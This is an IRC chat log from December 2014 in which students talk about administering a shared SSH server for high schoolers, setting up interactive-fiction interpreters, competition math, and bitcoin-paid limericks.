[2014-12-22T19:15:00-0500] <@awe> hardmath123: but yeah, I have two DO servers.
[2014-12-22T19:15:03-0500] <@awe> hardmath123: this one and my ZNC one.
[2014-12-22T19:15:13-0500] <@awe> this one is 1 GB, the ZNC one is 512MB.
[2014-12-22T19:15:38-0500] <@awe> hardmath123: still no on passwd
[2014-12-22T19:16:51-0500] <+ubuntor> did something go wrong on user creation?
[2014-12-22T19:17:27-0500] <hardmath123> awe can't change his password
[2014-12-22T19:21:02-0500] <+ubuntor> how did you create his account?
[2014-12-22T19:21:12-0500] <hardmath123> ubuntor: sudo adduser
[2014-12-22T19:23:15-0500] <alokpathy> ubuntor: Did you get it?
[2014-12-22T19:23:43-0500] <hardmath123> awe: try again
[2014-12-22T19:23:56-0500] <hardmath123> i think it might have been chage getting mad at me
[2014-12-22T19:25:26-0500] <@awe> Yah.
[2014-12-22T19:25:28-0500] <@awe> It's good.
[2014-12-22T19:25:42-0500] <+ubuntor> alokpathy: yeah
[2014-12-22T19:25:49-0500] <+ubuntor> it's really good
[2014-12-22T19:26:20-0500] <+Tamini> wait dammit
[2014-12-22T19:26:27-0500] <+Tamini> i found a post i missed before hardmath123
[2014-12-22T19:26:32-0500] <alokpathy> ubuntor: Thanks yo
[2014-12-22T19:26:39-0500] <hardmath123> awe: so i can exit sudo -i?
[2014-12-22T19:28:29-0500] <@awe> yeah
[2014-12-22T19:29:15-0500] <hardmath123> whew
[2014-12-22T19:33:44-0500] <+ubuntor> hardmath123: can i make suggestions for more IF?
[2014-12-22T19:34:08-0500] Tamini_ (uid33458@pdgn-vvu.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2014-12-22T19:35:27-0500] <hardmath123> ubuntor: sure. if you curl some z8's into your home directory, i'll move them to the games directory
[2014-12-22T19:35:36-0500] <+ubuntor> alright
[2014-12-22T19:39:25-0500] <+Tamini> hardmath123: does this mean you have more? <3
[2014-12-22T19:40:50-0500] <hardmath123> Tamini: join the server and find out
[2014-12-22T19:41:51-0500] <+Tamini> hardmath123: nyeh
[2014-12-22T19:41:54-0500] <+Tamini> thats so unfair :P
[2014-12-22T19:41:58-0500] <+Tamini> okay, what do you want
[2014-12-22T19:58:59-0500] <+ubuntor> hardmath123: hm, is scp working?
[2014-12-22T19:59:31-0500] <hardmath123> ubuntor: it should work, yes.
[2014-12-22T20:00:36-0500] <+ubuntor> oh lol, forgot the colon and path
[2014-12-22T20:02:21-0500] <+ubuntor> done
[2014-12-22T20:02:30-0500] <+ubuntor> all of them should be compatible with frotz
[2014-12-22T20:05:12-0500] <hardmath123> in ~ubuntor?
[2014-12-22T20:06:12-0500] <+ubuntor> ~ubuntor/if/
[2014-12-22T20:07:09-0500] <hardmath123> cool, copied all of them to /usr/local/games
[2014-12-22T20:07:12-0500] <hardmath123> have fun
[2014-12-22T20:07:28-0500] <+ubuntor> sweet
[2014-12-22T20:08:02-0500] <@awe> hardmath123: you should put OpenBSD on the server
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[2014-12-22T20:27:30-0500] <nezorg> TIL emacs has a command called toggle-rot13-mode
[2014-12-22T20:27:42-0500] <nezorg> that does exactly what it sounds like it would do
[2014-12-22T20:27:51-0500] <+Tamini> lolol
[2014-12-22T20:27:56-0500] <+Tamini> when would you ever need that?
[2014-12-22T20:29:40-0500] <@awe> nezorg: o lawd
[2014-12-22T20:29:50-0500] <nezorg> :P
[2014-12-22T20:30:01-0500] <nezorg> it also has tetris built-in
[2014-12-22T20:30:32-0500] <nezorg> perhaps vim is more minimal
[2014-12-22T20:30:37-0500] <nezorg> but emacs is more awesome
[2014-12-22T20:34:31-0500] <@awe> I want minimalism.
[2014-12-22T20:34:33-0500] <@awe> Not an operating system.
[2014-12-22T20:35:15-0500] <+Tamini> wait
[2014-12-22T20:35:18-0500] <+Tamini> emacs has tetris built in
[2014-12-22T20:35:19-0500] <+Tamini> since when
[2014-12-22T20:35:20-0500] <+Tamini> LOL
[2014-12-22T20:36:08-0500] <alokpathy> A while, I think.
[2014-12-22T20:36:16-0500] <alokpathy> It also has an email client iirc
[2014-12-22T20:36:29-0500] <alokpathy> and a few other knick knacks. 
[2014-12-22T20:38:16-0500] <+Tamini> basically os
[2014-12-22T20:38:49-0500] <+JacobEdelman> what server is this
[2014-12-22T20:38:57-0500] <+JacobEdelman> I hear about a server
[2014-12-22T20:39:41-0500] <+Tamini> ask hardmath123
[2014-12-22T20:40:42-0500] <@awe> JacobEdelman: you can get an account on their VPS.
[2014-12-22T20:40:47-0500] <@awe> hardmath123: I was hoping for a dedi.
[2014-12-22T20:44:18-0500] <+JacobEdelman> hardmath123: what server
[2014-12-22T20:44:25-0500] <+JacobEdelman> I wanna be on it
[2014-12-22T20:44:48-0500] <+JacobEdelman> I have no idea what it is yet
[2014-12-22T20:44:51-0500] <+JacobEdelman> but I want it
[2014-12-22T20:45:48-0500] <+JacobEdelman> (I have this same reaction to anything ending with ".io" on hackernews
[2014-12-22T20:45:58-0500] <+JacobEdelman> )
[2014-12-22T20:49:24-0500] <@awe> JacobEdelman: Should I get aatxe.io?
[2014-12-22T20:49:48-0500] <+JacobEdelman> thats a lot of money
[2014-12-22T20:49:50-0500] <+JacobEdelman> for a domain
[2014-12-22T20:49:53-0500] <@awe> Only $25.
[2014-12-22T20:49:56-0500] <+JacobEdelman> oh
[2014-12-22T20:49:58-0500] <+JacobEdelman> well, still
[2014-12-22T20:50:04-0500] <+JacobEdelman> aaronjweiss.io
[2014-12-22T20:50:09-0500] <+JacobEdelman> would be prefferable
[2014-12-22T20:50:13-0500] <@awe> Why?
[2014-12-22T20:50:14-0500] <+JacobEdelman> assuming aaronweiss.io
[2014-12-22T20:50:22-0500] <+JacobEdelman> it correllates directly to you
[2014-12-22T20:50:32-0500] <+JacobEdelman> your bussiness could just contain that website
[2014-12-22T20:50:35-0500] <@awe> I already have aaronweiss.us
[2014-12-22T20:50:37-0500] <+JacobEdelman> it wouldn't even need a name
[2014-12-22T20:50:38-0500] <+JacobEdelman> oh yeah
[2014-12-22T20:50:48-0500] <+JacobEdelman> than why even buy aatxe.io?
[2014-12-22T20:50:51-0500] <+JacobEdelman> seems like a waste
[2014-12-22T20:50:53-0500] <@awe> More domains?
[2014-12-22T20:50:55-0500] <+JacobEdelman> eh
[2014-12-22T20:50:58-0500] <+JacobEdelman> 25 bucks...
[2014-12-22T20:51:08-0500] <+JacobEdelman> you could spend that on something really cool
[2014-12-22T20:51:15-0500] <@awe> Like Starbound.
[2014-12-22T20:51:27-0500] <+JacobEdelman> like the gaint book on 20th century sci fi I bought
[2014-12-22T20:51:29-0500] <+JacobEdelman> or that
[2014-12-22T20:52:11-0500] <@awe> But the thing is the $25 would be my dad's.
[2014-12-22T20:52:21-0500] <+Tamini> lol starbound
[2014-12-22T20:59:07-0500] <@awe> Tamini: buy it for me bb.
[2014-12-22T21:00:26-0500] <alokpathy> awe: You're the one with money :P
[2014-12-22T21:00:46-0500] <+Tamini> awe: I would, but you're the one with a stable income
[2014-12-22T21:00:46-0500] <+Tamini> :P
[2014-12-22T21:00:58-0500] <@awe> I don't have a stable income.
[2014-12-22T21:00:59-0500] <@awe> Wat?
[2014-12-22T21:01:07-0500] <alokpathy> awe: www.sororitylyfe.com/top-100-colleges-attractive-sororities/
[2014-12-22T21:01:14-0500] <alokpathy> awe: UMass Amherst is 94th
[2014-12-22T21:01:20-0500] <@awe> That's pretty low.
[2014-12-22T21:01:38-0500] <alokpathy> tsk tsk
[2014-12-22T21:02:34-0500] <alokpathy> lol Rutgers is 7th
[2014-12-22T21:03:17-0500] <@awe> alokpathy: what's first? it didn't load right.
[2014-12-22T21:03:34-0500] <alokpathy> "Ole Miss"
[2014-12-22T21:03:35-0500] <alokpathy> ?
[2014-12-22T21:05:15-0500] <@awe> Oh, okay.
[2014-12-22T21:10:05-0500] <+Tamini> lol
[2014-12-22T21:10:08-0500] <+Tamini> attractive sororities
[2014-12-22T21:10:13-0500] <+Tamini> is this how alok is choosing a hs
[2014-12-22T21:10:14-0500] <+Tamini> LOL
[2014-12-22T21:10:34-0500] <@awe> Apparently.
[2014-12-22T21:11:07-0500] <+Tamini> college*
[2014-12-22T21:11:18-0500] <hardmath123> JacobEdelman: 
[2014-12-22T21:11:48-0500] <hardmath123> JacobEdelman: https://docs.google.com/forms/d/17BtDGahnBRY2Ib6MdEpogr9cCk0dhWRq0621RvS_4Jk/viewform
[2014-12-22T21:11:54-0500] <hardmath123> JacobEdelman: it's an ssh server for high schoolers
[2014-12-22T21:18:28-0500] <alokpathy> Tamini: What other metric would I use?
[2014-12-22T21:18:40-0500] <+Tamini> alokpathy: iunno
[2014-12-22T21:18:47-0500] <+Tamini> hot guys?
[2014-12-22T21:19:07-0500] <alokpathy> Hmm
[2014-12-22T21:19:09-0500] <alokpathy> I guess 
[2014-12-22T21:19:15-0500] <alokpathy> I don't want competition.
[2014-12-22T21:36:32-0500] <alokpathy> Tamini: Ernest told me we're going to suffer at HMMT.
[2014-12-22T21:36:48-0500] <+Tamini> ouch
[2014-12-22T21:36:49-0500] <+Tamini> well i mean
[2014-12-22T21:36:52-0500] <+Tamini> dont we always suffer at hmmt
[2014-12-22T21:37:19-0500] <alokpathy> Apparently Soctt Wu got a near-perfect on combo
[2014-12-22T21:37:21-0500] <alokpathy> and they were like
[2014-12-22T21:37:27-0500] <alokpathy> "Yeah this can't happen."
[2014-12-22T21:37:33-0500] <+Tamini> BUT HES SCOTT WU
[2014-12-22T21:37:45-0500] <alokpathy> I KNOW
[2014-12-22T21:37:52-0500] <+Tamini> ARE THESE PEOPLE INSANE
[2014-12-22T21:38:02-0500] <alokpathy> Though to be fair last year's HMMT felt much easier than usual.
[2014-12-22T21:38:06-0500] <+Tamini> also did you see how hard he derped last year
[2014-12-22T21:38:06-0500] <+Tamini> ._.
[2014-12-22T21:38:07-0500] <+Tamini> he was like
[2014-12-22T21:38:10-0500] <+Tamini> bleeding out over his trophy
[2014-12-22T21:38:13-0500] <+Tamini> i was like "wat"
[2014-12-22T21:38:15-0500] <alokpathy> wat
[2014-12-22T21:38:18-0500] <+Tamini> he tripped
[2014-12-22T21:38:21-0500] <+Tamini> with the glass trophy
[2014-12-22T21:38:25-0500] <+Tamini> it broke in like half
[2014-12-22T21:38:28-0500] <+Tamini> robin was carrying it around
[2014-12-22T21:38:29-0500] <alokpathy> ....................................................................................................................................................
[2014-12-22T21:38:33-0500] <+Tamini> I was like "i got scott wu's blood on me"
[2014-12-22T21:38:37-0500] <+Tamini> he fell off the stage remember
[2014-12-22T21:38:41-0500] <alokpathy> I do not remember this
[2014-12-22T21:38:54-0500] <+Tamini> well
[2014-12-22T21:38:55-0500] <+Tamini> last 2 years
[2014-12-22T21:38:58-0500] <+Tamini> he broke his trophy
[2014-12-22T21:39:00-0500] <+Tamini> one of those years
[2014-12-22T21:39:03-0500] <+Tamini> he fell offstage
[2014-12-22T21:39:03-0500] <+Tamini> ._.
[2014-12-22T21:40:05-0500] <alokpathy> He did it twice?
[2014-12-22T21:40:19-0500] <alokpathy> He's clearly not his team's runner in Guts.
[2014-12-22T21:40:35-0500] <+Tamini> LOL
[2014-12-22T21:40:39-0500] <+Tamini> ikr
[2014-12-22T21:41:08-0500] <alokpathy> "Oops I dropped all our answers everywhere."
[2014-12-22T21:41:17-0500] <alokpathy> "It's okay I'll just solve them again as I run down."
[2014-12-22T21:45:26-0500] <@awe> Guys, what does this mean
[2014-12-22T21:45:34-0500] <@awe> "412-444: A+ (A posted on SPIRE, course citation will be given)"
[2014-12-22T21:45:44-0500] <@awe> "412 is normally where I start giving citations (enough to round to 433 rather than 400, after I add in five points)."
[2014-12-22T21:45:52-0500] <@awe> What is a citation?
[2014-12-22T21:45:56-0500] <@awe> What does that mean?
[2014-12-22T21:46:01-0500] <@awe> What is going to happen to me?
[2014-12-22T21:46:41-0500] <+Tamini> lool
[2014-12-22T21:46:49-0500] <+Tamini> alokpathy: that sounds viable
[2014-12-22T21:47:07-0500] <alokpathy> Tamini: Likely, too.
[2014-12-22T21:47:13-0500] <@awe> Do they mean citation in the sense of "A formal statement of the accomplishments of one being honored with an academic degree."
[2014-12-22T21:47:14-0500] <@awe> ?
[2014-12-22T21:48:37-0500] <+Tamini> awe: probably?
[2014-12-22T21:48:53-0500] <@awe> So, I'll get a 4.0 + them saying that I'm the shit?
[2014-12-22T21:48:55-0500] <@awe> Okay.
[2014-12-22T21:49:27-0500] <+Tamini> alokpathy: are we basically a scottwu fanclub now
[2014-12-22T21:50:04-0500] <alokpathy> Tamini: Everybody who does usaco is a Scott Wu fan
[2014-12-22T21:50:06-0500] <alokpathy> and a Johnny Ho fan
[2014-12-22T21:51:28-0500] <+Tamini> LOL
[2014-12-22T21:51:30-0500] <+Tamini> nah just scott wu
[2014-12-22T22:05:15-0500] <alokpathy> But Johnny Ho
[2014-12-22T22:05:18-0500] <alokpathy> and that perfect score
[2014-12-22T22:05:21-0500] <alokpathy> to beat Gennady 
[2014-12-22T22:06:07-0500] <+Tamini> oh wai
[2014-12-22T22:06:07-0500] <+Tamini> t
[2014-12-22T22:06:08-0500] <+Tamini> srsly
[2014-12-22T22:06:18-0500] <alokpathy> You didn't know?
[2014-12-22T22:06:46-0500] <alokpathy> It was big news in the contest programming community.
[2014-12-22T22:06:59-0500] <alokpathy> 'cause Gennady is basically a monster
[2014-12-22T22:07:02-0500] <alokpathy> especially at IOI.
[2014-12-22T22:07:22-0500] <+Tamini> yeah, I know
[2014-12-22T22:07:24-0500] <+Tamini> i didn't hear that
[2014-12-22T22:07:25-0500] <+Tamini> whoa.
[2014-12-22T22:07:35-0500] <alokpathy> Yeah
[2014-12-22T22:12:12-0500] <@awe> hardmath123: I feel about programming the way you feel about math.
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[2014-12-22T22:36:12-0500] <ubuntor> i need to get a better vps...
[2014-12-22T22:36:20-0500] <@awe> DO?
[2014-12-22T22:36:44-0500] <@awe> I'm super happy with both these VPSes.
[2014-12-22T22:36:50-0500] <ubuntor> yeah, considering that with the github education bundle
[2014-12-22T22:36:57-0500] <@awe> That's what I did.
[2014-12-22T22:37:07-0500] <ubuntor> how long does it take for a reply?
[2014-12-22T22:38:10-0500] <hardmath123> awe: how do I feel about math?
[2014-12-22T22:38:28-0500] <@awe> ubuntor: I was already a GH edu account.
[2014-12-22T22:38:30-0500] <@awe> ubuntor: sorry.
[2014-12-22T22:38:41-0500] <@awe> hardmath123: your post about math becoming a sport and competitive math ruining the spirit of math.
[2014-12-22T22:39:04-0500] <hardmath123> awe: oh, yeah. Good to know you feel that way. It's the reason I didn't do USACO.
[2014-12-22T22:39:08-0500] <@awe> Similarly, competitive math and all the people around me who are my age and grade levels above me in math completely pushed me away from math.
[2014-12-22T22:39:20-0500] <@awe> I don't identify strongly with math because I've been alienated by it
[2014-12-22T22:39:28-0500] <@awe> Despite totally being a math-y type of person at a core level.
[2014-12-22T22:39:39-0500] <ubuntor> oh, ok
[2014-12-22T22:39:54-0500] <@awe> ubuntor: literally, the day it came out, I just went to it and got the codes and stuff.
[2014-12-22T22:45:17-0500] <+Tamini> competitive math is just
[2014-12-22T22:45:19-0500] <+Tamini> competitive math
[2014-12-22T22:45:24-0500] <+Tamini> it's very different from well
[2014-12-22T22:45:27-0500] <+Tamini> every other kind of math ever.
[2014-12-22T22:46:13-0500] <bob_twinkles> as in the kinds you can use for real things?
[2014-12-22T22:48:38-0500] <+JacobEdelman> hardmath123: you run the server?
[2014-12-22T22:52:42-0500] <hardmath123> JacobEdelman: yeah.
[2014-12-22T22:53:37-0500] <+JacobEdelman> okay
[2014-12-22T22:53:46-0500] <hardmath123> JacobEdelman: well, me and Nickolas, this uber-smart kid who solved half our Pico problems.
[2014-12-22T22:56:35-0500] <+JacobEdelman> hardmath123: I want that limerik :P
[2014-12-22T22:57:05-0500] <hardmath123> then send nickolas bitcoin
[2014-12-22T22:58:56-0500] <nezorg> I just did! :P
[2014-12-22T22:59:03-0500] <hardmath123> nezorg: John Grosen?
[2014-12-22T22:59:03-0500] <nezorg> even though I don't want an account
[2014-12-22T22:59:11-0500] <nezorg> yeah
[2014-12-22T22:59:21-0500] • hardmath123: gets his pencil.
[2014-12-22T23:00:42-0500] <nezorg> transaction id 3ab99ada45d9789c5426bda2c1767ab83c543ce3129bda73e4b57f6015e3b94d
[2014-12-22T23:01:16-0500] <hardmath123> a.k.a. the only transaction for that address
[2014-12-22T23:01:43-0500] <nezorg> ah
[2014-12-22T23:01:46-0500] <nezorg> :P
[2014-12-22T23:05:42-0500] <+Tamini> lol
[2014-12-22T23:05:45-0500] <+Tamini> oh my god
[2014-12-22T23:05:47-0500] <+Tamini> you're exactly like me
[2014-12-22T23:05:53-0500] <+Tamini> i was like "how much do i need to send you for that limerick"
[2014-12-22T23:06:10-0500] <+JacobEdelman> I'll figure out my bitcoin password stuff when I get home
[2014-12-22T23:06:14-0500] <+JacobEdelman> I have some small amount 
[2014-12-22T23:06:15-0500] <+JacobEdelman> somewhere
[2014-12-22T23:06:26-0500] <+Tamini> hardmath123: wanna send me an encrypted limerick? <3
[2014-12-22T23:06:37-0500] <+JacobEdelman> (my uncle got me 20 dollars in bitcoin around the time it hit 1200$)
[2014-12-22T23:07:03-0500] <nezorg> XD
[2014-12-22T23:09:22-0500] <hardmath123> nezorg: as promised http://104.236.156.40/~kc/nezorg.txt
[2014-12-22T23:09:58-0500] <nezorg> IT IS BEAUTIFUL
[2014-12-22T23:10:24-0500] <nezorg> WELL WORTH THE 550 RUBLES
[2014-12-22T23:12:08-0500] <hardmath123> ok, they shall live in http://104.236.156.40/~kc/poems/
[2014-12-22T23:14:06-0500] <+Tamini> lol
[2014-12-22T23:14:09-0500] <+Tamini> only one poem written so far?
[2014-12-22T23:14:14-0500] <+Tamini> how much did he donate?
[2014-12-22T23:14:19-0500] <+Tamini> oh LOL
[2014-12-22T23:15:12-0500] <nezorg> Tamini: you have so many ways of finding that out...
[2014-12-22T23:15:22-0500] <+Tamini> nezorg: i knoww
[2014-12-22T23:15:24-0500] <+Tamini> im laaazy
[2014-12-22T23:15:41-0500] <+JacobEdelman> hardmath123: I submitted my request just now
[2014-12-22T23:17:44-0500] <@awe> [23:06:37]  <+JacobEdelman>	(my uncle got me 20 dollars in bitcoin around the time it hit 1200$)
[2014-12-22T23:17:51-0500] <@awe> JacobEdelman: so he gave you $20 at the absolute worst time to give you $20.
[2014-12-22T23:18:06-0500] <+JacobEdelman> yup
[2014-12-22T23:18:13-0500] <+JacobEdelman> it was pretty impressive on his part
[2014-12-22T23:18:31-0500] <+JacobEdelman> (he says he missed the perfect time by a few days)
[2014-12-22T23:31:23-0500] <hardmath123> JacobEdelman: an rsa signature was overkill
[2014-12-22T23:31:24-0500] <hardmath123> :P
[2014-12-22T23:47:08-0500] <+Tamini> i have 22 cents in my bitcoin wallet, does that count :P
[2014-12-22T23:47:54-0500] <alokpathy> Oh I thought you said you had 22 bitcoins.
[2014-12-22T23:48:17-0500] <hardmath123> sure, whatever
[2014-12-22T23:48:21-0500] <+Tamini> sweetie, i wish
[2014-12-22T23:48:57-0500] <+Tamini> also nezorg: ya loser do you still not have keybase?
[2014-12-22T23:49:30-0500] <nezorg> gpg doesn't support curve25519 encryption yet
[2014-12-22T23:49:32-0500] <alokpathy> @keybase nezorg
[2014-12-22T23:49:34-0500] <+awebot> alokpathy: Something went wrong!
[2014-12-22T23:49:38-0500] <alokpathy> :|
[2014-12-22T23:49:39-0500] <alokpathy> >:|
[2014-12-22T23:50:15-0500] <hardmath123> nezorg's software has to have nice curves
[2014-12-22T23:50:40-0500] <nezorg> nist curves just aren't sexy enough
[2014-12-22T23:52:31-0500] <alokpathy> LOL
[2014-12-22T23:53:43-0500] <+Tamini> of course, sweetie
[2014-12-22T23:53:48-0500] <+Tamini> this is ironically hilarious
[2014-12-22T23:54:14-0500] <+Tamini> because i think i just read a very long rant on sexualization
[2014-12-22T23:54:22-0500] <nezorg> ah
[2014-12-22T23:55:04-0500] <nezorg> am I not allowed to think certain elliptic curves are sexier than others? :S
[2014-12-22T23:58:02-0500] <+Tamini> yes that's like discrimminatory
[2014-12-22T23:58:55-0500] <@awe> nezorg: NIST curves are plants ;)
[2014-12-23T00:05:22-0500] <hardmath123> jacob did your password-changing work?
[2014-12-23T00:05:26-0500] <hardmath123> JacobEdelman: ^
[2014-12-23T00:17:05-0500] <ubuntor> hardmath123: can i try compiling a glulx interpeter locally?
[2014-12-23T00:19:09-0500] <hardmath123> Sure, though if it's apt-gettable then I'm happy to just do that.
[2014-12-23T00:20:24-0500] <hardmath123> Gargoyle seems like it might work if the stars align.
[2014-12-23T00:20:40-0500] <ubuntor> does gargoyle have a cli version?
[2014-12-23T00:21:47-0500] <hardmath123> i thought it was a cli program
[2014-12-23T00:22:53-0500] <ubuntor> it's gui, but not sure if there's a cli option
[2014-12-23T00:23:19-0500] <ubuntor> it's an excellent interpreter tho
[2014-12-23T00:23:24-0500] <ubuntor> beautiful text
[2014-12-23T00:25:34-0500] <hardmath123> http://ifarchive.flavorplex.com/indexes/if-archiveXinterpreters-multiXgargoyle.html
[2014-12-23T00:29:20-0500] <hardmath123> also, looking at `zoom`
[2014-12-23T00:31:49-0500] <ubuntor> looks like you'll need to swap out the glk library with cheapglk or glkterm
[2014-12-23T00:32:22-0500] <ubuntor> zoom, glulxe, or git
[2014-12-23T00:39:27-0500] <ubuntor> oh, git looks perfect
[2014-12-23T00:39:39-0500] <hardmath123> wait, git is an IF thing?
[2014-12-23T00:39:54-0500] <hardmath123> i just thought all those `git` files was someone scrwing with vcs on gargoyle
[2014-12-23T00:40:17-0500] <ubuntor> yeah
[2014-12-23T00:40:42-0500] <ubuntor> the makefile for git has options for cheapglk, glkterm, or xglk
[2014-12-23T00:41:26-0500] <ubuntor> plus it's faster than glulxe
[2014-12-23T00:51:25-0500] <+Tamini> alokpathy: are you alive
[2014-12-23T00:51:37-0500] <+Tamini> because I want you to see a message I left my teammate
[2014-12-23T00:51:47-0500] <+Tamini> actually jk we have a mailbot for a reason
[2014-12-23T00:52:18-0500] <ubuntor> hardmath123: can you try installing libncurses5-dev?
[2014-12-23T00:52:26-0500] <+Tamini> @tell alokpathy It's my teammate's birthday. We're already ready to redeem ourselves at 2015s. Are you? <3 (Also can we keep up this thing where JacobEdelman has never beaten me at anything because I like it a lot)
[2014-12-23T00:52:27-0500] <mailbot> Tamini: I'll let them know!
[2014-12-23T00:53:36-0500] <hardmath123> ubuntor: sure
[2014-12-23T00:54:12-0500] <hardmath123> ubuntor: done
[2014-12-23T00:54:17-0500] <ubuntor> alright
[2014-12-23T00:59:30-0500] <ubuntor> ok, i think i have it compiled
[2014-12-23T00:59:40-0500] <hardmath123> awesome
[2014-12-23T00:59:46-0500] <ubuntor> ~ubuntor/git-133/git
[2014-12-23T00:59:48-0500] <ubuntor> try it out
[2014-12-23T01:00:49-0500] <ubuntor> time to get more good IF
[2014-12-23T01:22:30-0500] <+LittleBobbyTables> zzz
[2014-12-23T01:30:29-0500] <ubuntor> hardmath123: can you also install libncursesw5-dev?
[2014-12-23T01:37:25-0500] <hardmath123> ubuntor: yeah
[2014-12-23T01:38:07-0500] <hardmath123> ubuntor: installed
[2014-12-23T01:38:24-0500] <bob_twinkles> ah, the wonders of binary package management
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[2014-12-23T01:51:18-0500] <ubuntor> hardmath123: ok, new batch of IF, and git should support unicode now
[2014-12-23T01:56:34-0500] <hardmath123> ubuntor: where?
[2014-12-23T01:57:49-0500] <hardmath123> nvm yay abusing sudo privs
[2014-12-23T01:59:31-0500] <hardmath123> i need to alias git to something that isn't git, otherwise it'll conflict with git-the-version-control
[2014-12-23T01:59:34-0500] <hardmath123> suggestions?
[2014-12-23T02:01:54-0500] <ubuntor> hmm
[2014-12-23T02:02:04-0500] <ubuntor> gitif?
[2014-12-23T02:02:22-0500] <ubuntor> maybe write a wrapper that automatically chooses between frotz and git
[2014-12-23T02:04:27-0500] <hardmath123> that would be nice
[2014-12-23T02:05:02-0500] <hardmath123> it's /usr/local/bin/git-if right now
[2014-12-23T02:05:41-0500] <ubuntor> ok
[2014-12-23T02:06:25-0500] <hardmath123> added it to the motd
[2014-12-23T02:06:27-0500] <hardmath123> cat /etc/motd
[2014-12-23T02:12:34-0500] <ubuntor> ok
[2014-12-23T02:12:39-0500] <ubuntor> wrote a wrapper
[2014-12-23T02:12:41-0500] <ubuntor> playif
[2014-12-23T02:16:17-0500] <ubuntor> feel free to rename
[2014-12-23T02:22:13-0500] <hardmath123> nice
[2014-12-23T02:25:35-0500] <hardmath123> ubuntor: added to /etc/motd and copied to /usr/local/bin
[2014-12-23T02:26:02-0500] <ubuntor> alright
[2014-12-23T02:26:44-0500] <hardmath123> interestingly, it doesn't work from root
[2014-12-23T02:26:51-0500] <ubuntor> hmm
[2014-12-23T02:26:56-0500] <hardmath123> because `/usr/games` isn't in the $PATH of root
[2014-12-23T02:26:57-0500] <hardmath123> :P
[2014-12-23T02:27:05-0500] <ubuntor> ah, ok
[2014-12-23T02:27:08-0500] <hardmath123> no goofing off when you've got sys's to admin
[2014-12-23T02:27:11-0500] <bob_twinkles> that's 'cause most games are about as secure as cheescloth
[2014-12-23T02:27:15-0500] <ubuntor> lol
[2014-12-23T02:27:28-0500] <hardmath123> that too
[2014-12-23T02:27:29-0500] <bob_twinkles> nethack is masked on gentoo because literally none of the sscanfs are snscanfs =P
[2014-12-23T02:29:31-0500] <ubuntor> oh wow
[2014-12-23T02:35:42-0500] <hardmath123> whew
[2014-12-23T02:35:46-0500] <hardmath123> added 16 users today
[2014-12-23T02:35:52-0500] <hardmath123> time to go sleep
[2014-12-23T02:36:04-0500] hardmath123 is now known as hardmath123[zZz]
[2014-12-23T02:36:08-0500] <hardmath123[zZz]> gnight intertubes
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[2014-12-23T03:17:17-0500] <ubuntor> @tell hardmath123 might want to remove the first sentence of the IF section of motd
[2014-12-23T03:17:17-0500] <mailbot> ubuntor: I'll let them know!
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[2014-12-23T07:21:34-0500] <alokpathy> Tamini: are you not counting usaco?
[2014-12-23T07:21:34-0500] <mailbot> alokpathy: 6 hours ago, Tamini said It's my teammate's birthday. We're already ready to redeem ourselves at 2015s. Are you? <3 (Also can we keep up this thing where JacobEdelman has never beaten me at anything because I like it a lot).
[2014-12-23T07:25:12-0500] <alokpathy> Tq mailbot 
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[2014-12-23T10:21:30-0500] <alokpathy> So, what's up?
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[2014-12-23T10:32:55-0500] Pidgey sets mode +v JacobEdelman
[2014-12-23T10:33:10-0500] <alokpathy> JacobEdelman: hello
[2014-12-23T10:34:40-0500] <alokpathy> Does anybody want to read North Korean propaganda?
[2014-12-23T10:43:09-0500] <+JacobEdelman> I might
[2014-12-23T10:43:11-0500] <+JacobEdelman> also
[2014-12-23T10:43:20-0500] <+JacobEdelman> I know how I'm backing up my data in the future : https://github.com/marianzange/nsync
[2014-12-23T10:44:43-0500] <+JacobEdelman> @tell hardmath123 I changed the password successfully 
[2014-12-23T10:44:43-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T11:23:41-0500] <@awe> https://medium.com/@totient/government-builds-free-cloud-based-backup-for-an-ungrateful-nation-a6e0e5fca935
[2014-12-23T11:23:46-0500] <@awe> Beautiful.
[2014-12-23T11:25:34-0500] <@awe> JacobEdelman: oh god, did you look at the source? xD
[2014-12-23T11:32:47-0500] <@awe> butthole: What do you think of JacobEdelman?
[2014-12-23T11:32:47-0500] <butthole> awe: think
[2014-12-23T11:32:51-0500] <@awe> butthole: What do you think of JacobEdelman?
[2014-12-23T11:32:51-0500] <butthole> awe: do that interviewee's personal info about that
[2014-12-23T11:32:57-0500] <@awe> butthole: Oh, okay.
[2014-12-23T11:32:57-0500] <butthole> awe: mah pentium 3 year old
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[2014-12-23T11:41:47-0500] <+JacobEdelman> Tamini: what is it youre bragging about beating us at?
[2014-12-23T11:42:02-0500] <+JacobEdelman> (or trying too anyway)
[2014-12-23T11:56:16-0500] <@awe> JacobEdelman: everything.
[2014-12-23T11:56:28-0500] <+JacobEdelman> I know that
[2014-12-23T11:56:37-0500] <+JacobEdelman> but what was the next thing she was talking about
[2014-12-23T11:58:40-0500] <@awe> Dunno.
[2014-12-23T12:58:45-0500] <alokpathy> http://techcrunch.com/2014/12/23/sony-to-allow-screenings-of-the-interview-on-christmas-after-all/?ncid=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Techcrunch+%28TechCrunch%29\
[2014-12-23T13:19:06-0500] <hardmath123[zZz]> mailbot: what's up?
[2014-12-23T13:19:14-0500] hardmath123[zZz] is now known as hardmath123
[2014-12-23T13:19:15-0500] <hardmath123> mailbot: what's up?
[2014-12-23T13:19:16-0500] <mailbot> hardmath123: 10 hours ago, ubuntor said might want to remove the first sentence of the IF section of motd.
[2014-12-23T13:19:16-0500] <mailbot> hardmath123: 2 hours ago, JacobEdelman said I changed the password successfully .
[2014-12-23T13:20:56-0500] <hardmath123> yay.
[2014-12-23T13:29:38-0500] <alokpathy> mailbot: Any  mail?
[2014-12-23T13:29:50-0500] <alokpathy> mailbot: what's up?
[2014-12-23T13:29:53-0500] <alokpathy> Hm, okay
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[2014-12-23T16:41:16-0500] <alokpathy> Tamini: When does your break end?
[2014-12-23T16:42:00-0500] <@awe> ohai alokpathy 
[2014-12-23T16:42:36-0500] <alokpathy> hiya awe
[2014-12-23T16:44:33-0500] awe sets mode -v awebot
[2014-12-23T16:44:40-0500] <alokpathy> Lol The Interview has a 9.9 on IMDB
[2014-12-23T16:44:42-0500] <@awe> @active
[2014-12-23T16:44:47-0500] <@awe> .active
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 1, N 2).
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
